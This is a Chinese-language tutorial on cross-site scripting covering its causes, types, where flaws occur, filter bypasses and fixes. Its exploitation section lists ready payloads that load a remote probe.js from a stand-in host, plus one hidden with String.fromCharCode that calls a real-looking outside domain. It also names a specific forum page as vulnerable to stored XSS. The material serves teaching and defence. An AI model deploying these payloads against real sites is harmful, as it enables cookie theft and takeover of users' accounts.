XSS
XSS是什么:
跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。
恶意攻击者往WEB页面里插入恶意html代码,当用户浏览该页时,嵌入其中的html代码会被执行,从而达到恶意攻击用户的特殊目的。
跨站脚本重点在“脚本”,脚本主要有两种:JavaScript 和 ActionScript。
XSS产生原因:
浏览器浏览网页原理:
当我们浏览网页时,浏览器会向服务器发送访问请求,服务器会根据请求的内容返回信息。
发出的请求中包含:请求行,请求头,请求体
返回的内容中包含:响应行,响应头,响应体
响应体通俗讲就是一个字符串,对我们来说没有任何意义,但是浏览器却可以解析这个字符串
因为这个字符串是有一定的格式的,HTML是用来描述网页的标记语言,JavaScript是可以插入到HTML中的脚本语言
XSS产生原因:
网页提供我们输入信息的表单,同时可以把我们输入的信息输出到网页上
我们输入的信息是一个字符串,这个字符串也可以是标记语言格式的字符串
浏览器信任服务器返回的标记语言格式的字符串(html源代码),所以直接渲染显示到浏览器上,形成可视化界面
我们可以输入一个恶意的标记语言格式的字符串,破坏浏览器渲染出来的界面
恶意的标记语言也可以是一个<script>标签,加载一个远程的恶意JS文件,获取查看该网页的用户的相关信息
“跨站脚本”重要的是脚本:
从字面分析,这个“跨”实际是浏览器的特性,而不是缺陷,造成“跨”假象是因为绝大数的XSS攻击都会采用嵌入一段远程或者第三方域上的脚本资源
嵌入远程或者第三方域上的脚本资源的好处:
1.可以不受输入内容的长度限制
2.攻击代码容易控制
XSS的利用:
发生XSS的场景:
在那些半年没有更新的小企业网站来说,发生XSS漏洞几乎没有什么用
在各类SNS、邮件系统、开源流行的WEB应用、BBS、微博等场景中,被广泛实施与关注
XSS能做什么:
JS代码可以做什么,XSS就可以做什么。例如:
1.盗取用户Cookie,从而登录他人用户进行操作(管理员等)
2.XSS Worm(蠕虫)
3.挂马(水坑攻击)
4.有局限性的键盘记录(只能在XSS存在的页面内)
5.等
XSS分类:
反射型XSS
发出请求时,XSS代码出现在URL中,最后输入提交到服务器,服务器解析后响应在响应体中出现这段XSS代码,最后浏览器解析执行
因为只能在URL中有XSS代码时,才会造成XSS,如同一次反射,所以命名为反射型XSS
例如:网站搜索框等
存储型XSS
存储型XSS和反射型XSS的差别仅在于:提交的XSS代码会存储在服务器(数据库、内存、文件系统等),下次请求目标页面时不用再提交XSS代码
存储型XSS的攻击是最隐蔽的
例如:留言板XSS,用户提交一条包含XSS代码的留言储存到数据库中,目标用户查看留言板时,那些留言的内容就会从数据库查询出来并显示,浏览器发现有XSS代码,就当做正常的HTML和JS解析执行,于是触发了XSS攻击
中兴某论坛存在存储型XSS:http://support.zte.com.cn/support/topicality/TopicDetail.aspx?topicId=1563690&classId=87
DOM XSS
文档对象模型(Document Object Model,简称DOM),是W3C组织推荐的处理可扩展标志语言的标准编程接口。
DOM XSS的代码并不需要服务器解析响应的直接参与,触发XSS靠的是浏览器的DOM解析,可以认为完全是客户端的事情
flash XSS
利用网页上的flash文件的缺陷来执行js脚本,一般是反射型XSS
m XSS
mXSS又被叫做突变XSS,主要用于绕过XSS过滤。用户所提供的富文本内容通过JavaScript代码进入innerHTML属性后,一些意外的变化会使得一串看似没有任何危害的HTML代码,最终将进入某个DOM节点的innerHTML中,浏览器的渲染引擎会将本来没有任何危害的HTML代码渲染成具有潜在危险的XSS攻击代码。随后,该段攻击代码可能会被JS代码中的其他一些流程输出到DOM中或是其他方式被再次渲染,从而导致XSS的执行。
哪里会出现XSS:
url的参数,回显到网页上
表单提交的内容,出现在网页上,比如:昵称、邮箱、简介、留言等
XSS域:
在不同的域范围内执行的XSS权限也不一样。比如,你是在Internet域执行XSS,还是本地域、特殊域(浏览器的一些功能界面或插件层面上,这里旺旺拥有很多丰富切强大的API)内执行XSS
XSS利用:
<script src='http://xxxxxx/probe.js'></script> 通过src标签加载远程JS文件
<img src=x onerror="s=createElement('script');body.appendChild(s);s.src='http://xxxxxx/probe.js'";> 通过img标签的属性加载远程JS文件
<svg onload=s=createElement('script');body.appendChild(s);s.src='http://xxxxxx/xss/probe.js> 通过svg标签的属性加载远程JS文件
<svg onload=eval(String.fromCharCode(115,61,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,115,46,115,114,99,61,39,104,116,116,112,58,47,47,98,46,105,111,105,111,46,112,117,98,47,120,115,115,47,112,114,111,98,101,46,106,115)) > 通过ASII绕过
挖掘XSS漏洞:
反射型XSS
url参数的值能够回显到返回的HTML中
url参数的值没有过滤,或者过滤不严格
存储型XSS
可以提交内容
提交的内容能够被管理员,或其他的用户查看
提交的内容没有过滤,或者过滤不严格
绕过过滤
<>被过滤,一般很难触发XSS漏洞,除非输入的内容直接被输出到<script></script>标签内部
script被过滤,可以用img、svg
特殊字符被过滤,可以进行ASCII、16进制编码
修复方法:
过滤
前端JS代码过滤,可以burpsuite拦截数据包,改包,绕过
输入过滤,服务器脚本把接收的用户提交的数据写入数据库之前对数据进行过滤,一般采用黑白名单过滤,或者对提交的数据进行HTML实体编码
输出过滤,服务器脚本在显示数据时候,需要从数据库读取数据,到返回响应包之前进行过滤,一般采用黑白名单过滤,或者对提交的数据进行HTML实体编码
Flash XSS
对相应的flash进行修改或升级替换
COOKIE
在cookie中加入httponly属性可以在一定程度上保护用户的cookie,减少出现XSS时的损失
自动化挖掘工具:
反射型XSS
https://github.com/DanMcInerney/xsscrapy
存储型XSS
没有成熟的工具,只可进行模糊的测试
http://drops.wooyun.org/web/13124
http://www.paper.edu.cn/journal/downCount/1002-1175(2012)06-0815-06